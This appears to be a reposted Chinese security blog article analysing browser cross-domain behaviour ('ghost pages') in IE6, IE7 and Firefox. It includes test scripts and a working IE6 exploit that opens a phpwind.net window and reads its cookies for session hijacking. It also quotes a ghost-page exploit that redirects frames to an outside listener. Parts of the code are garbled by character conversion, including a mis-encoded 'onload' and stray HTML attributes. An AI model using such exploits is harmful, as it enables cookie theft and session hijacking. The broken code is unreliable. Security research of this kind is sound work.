天天看點

揭密鬼頁 淺析浏覽器跨域安全問題

Manuel Caballero在BLUEHAT大會探讨了《A Resident in My Domain》議題,字面上的意思就是駐留在自己的域,随後開始有國内的安全研究人員在BLOG上寫了一些相關的内容,這段時間一直和HI群裡的朋友在讨論這個問題,大家都簡稱為鬼頁,這個鬼頁非常神奇,可以跟随你浏覽的每個頁面。經過鬼頁的啟發,我也對浏覽器的跨域安全問題進行了測試。

  1.來自僞協定的呼喚

  JAVASCRIPT裡大家都頻繁使用window對象,window對象代表的就是浏覽器的視窗,我們就來測試下window對象的open方法,嘗試讓新開的視窗執行僞協定。在本機搭建一個WEB伺服器,開始做下實驗:

  用各個浏覽器浏覽 http://127.0.0.1/test.htm ,下面是test.htm的腳本内容:

    <script>        x=window.open('about:blank');     x.location="javascript:alert(document.domain)"     </script>

  結果:

  IE6:執行了僞協定,認為彈出視窗的域是127.0.0.1。

  IE7:執行了僞協定,認為彈出視窗的域是127.0.0.1。

  Firefox:執行了僞協定,認為還沒有域為NULL。

  Firefox這裡對于這個接口可能也有個BUG,對于IP位址的彈窗Firefox沒有辨認出域,但是在實際綁定域名的情況下還是辨認出了域。

  為了下面的部分友善了解,我把這裡彈窗的關系給簡稱下,原視窗叫父頁,彈出視窗叫子頁,實驗過後我們證明了:父頁和子頁都在同一個域裡,父頁可以重定向子頁的URL位址,甚至執行僞協定。

  2.父頁和子頁的關系

  如果父頁讓子頁通路其他域後,父頁和子頁是否就脫離關系了呢?

  繼續測試,用各個浏覽器浏覽 http://127.0.0.1/test2.htm ,下面是test2.htm的腳本

  内容:

    <script>        x=window.open('about:blank');     x.location="http://www.163.com" //通路163網站     setTimeout(function(){         x.location="http://127.0.0.1";     },5000)  //5秒後重定向到127.0.0.1     </script>

  這次IE6、IE7、Firefox都達成了一緻,實驗的結果是子頁通路了163網站,5秒然後又跳回了127.0.0.1。

  是以就算是子頁在通路了其他域後,還是會受父頁的控制。

  3.域與域之間的牽絆

  如果父頁讓子頁通路某個域後,再執行僞協定會有什麼效果?

  用各個浏覽器浏覽 http://127.0.0.1/test3.htm,下面是test3.htm的腳本内容:

    <script>        x=window.open('about:blank');     x.location="http://www.163.com"     setTimeout(function(){         x.location="javascript:alert(document.cookie)";     },5000)     </script>

      結果:

  IE6:沒有反應。

  IE7:報錯,拒絕通路。

  Firefox:報錯,alert沒有定義。

  這些資訊明顯的說明,如果子頁和父頁不在同一個域裡,浏覽器是不允許父頁控制子頁執行僞協定腳本的。

  為了進一步驗證,我們讓子頁打開同一個域裡的頁面測試:

  用各個浏覽器浏覽 http://127.0.0.1/test4.htm,下面是test4.htm的腳本内容:

    <script>      document.cookie='xss:true'  //給本域設定一個COOKIE為xss:true     x=window.open('about:blank');     x.location="http://127.0.0.1"     setTimeout(function(){         x.location="javascript:alert(document.cookie)";     },5000)     </script>

  結果IE6、IE7、Firefox都順利的彈出了COOKIE值,說明如果子頁和父頁在同一個域裡,浏覽器是允許父頁控制子頁執行僞協定腳本的。

  4.安全上的差異

  父頁和子頁這種微妙的關系,到這裡就開始引發安全問題了,安全研究人員在分析鬼頁的時,給出了EXP:

javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);

  EXP按上面三部分的概念解釋是:

  父頁是A域,父頁指定子頁通路B域内一個帶架構的頁面,父頁就能夠控制B域頁面内架構的URL位址,這個就是典型的跨域操作了。

  鬼頁能夠跨域操作架構的關鍵是window.frames[0]方法沒有受到域的限制,第二個是讓location指定的位址看起來像個對象而不是參數。

  我們按照鬼頁的思路,繼續在第3部分的基礎上測試下去,将location指定的位址使用new String()對象處理。

  用各個浏覽器浏覽 http://127.0.0.1/test5.htm,下面是test5.htm的腳本内容:

    <script>        x=window.open('about:blank');     x.location="http://www.163.com";     setTimeout(function(){         x.location=new String("javascript:alert(document.cookie)")     },5000)     </script>

  IE6:彈出COOKIE。

  IE7:報錯,拒絕通路。

  Firefox:報錯,alert沒有定義。

  結果是IE6奇迹般的彈出了COOKIE,我們做到了跨域執行腳本。 5.災難性的後果

  到這裡我們發現了一個IE6的0DAY,一定程度上這個跨域安全問題是災難性的,如下面的

  EXP:

    <a href="" target="_blank" rel="external nofollow" >IE6 Cross Domain Scripting</a>     <script>     function win(){         x=window.open('http://www.phpwind.net');         setTimeout(function(){             x.location=new String("javascript:alert(document.cookie)")         },3000)     }     window.οnlοad=function(){         for (i=0;i<document.links.length;i++) {              document.links[i].href="javascript:win()" target="_blank" rel="external nofollow"         }     }     </script>

  點選連結後,馬上得到了PHPWIND論壇的COOKIE,這就意味着黑客通過類似的攻擊可以得到你通路過的任意網站的COOKIE,然後劫持你的會話。

  這樣的漏洞相當于一個沒有域限制的XSS漏洞,幾乎是無法防禦的,網站隻能進一步的加強用戶端的會話安全,如使用SSL加密連接配接、設定安全COOKIE加上HTTPONLY參數、給敏感的請求操作加上水印等。

  6.總結

  這個跨域安全問題的本質是浏覽器在處理window對象的操作有所疏漏,沒有考慮清楚不同域有繼承關系的window對象操作後的變化,隻是對window對象的一些方法的參數做了類似資料類型的限制,導緻最後繞過限制跨域執行了腳本。

  從這個漏洞我們也可以看出IE7的一些新的安全特性,通過繼承關系的window對象操作來跨域執行腳本僞協定最後是判斷了域的,IE7已經開始防範類似的攻擊。

  但是這裡并沒有在本質上解決跨域安全問題,IE7隻防範了跨域執行腳本,對于其他跨域的操作仍然是放行的,是以鬼頁在IE7下可以跨域操作架構URL,而Firefox卻沒有存在相同的問題,說明不同浏覽器在安全的考慮上也是存在很多差異的。

  針對IE我又測試了其他對象方法,發現很多都被限制住了,但不排除還有同樣的問題存在。按照類似的思路,大家可以繼續嘗試挖掘浏覽器的一些跨域漏洞。

  參考

  [1] Browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html

  [2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/

繼續閱讀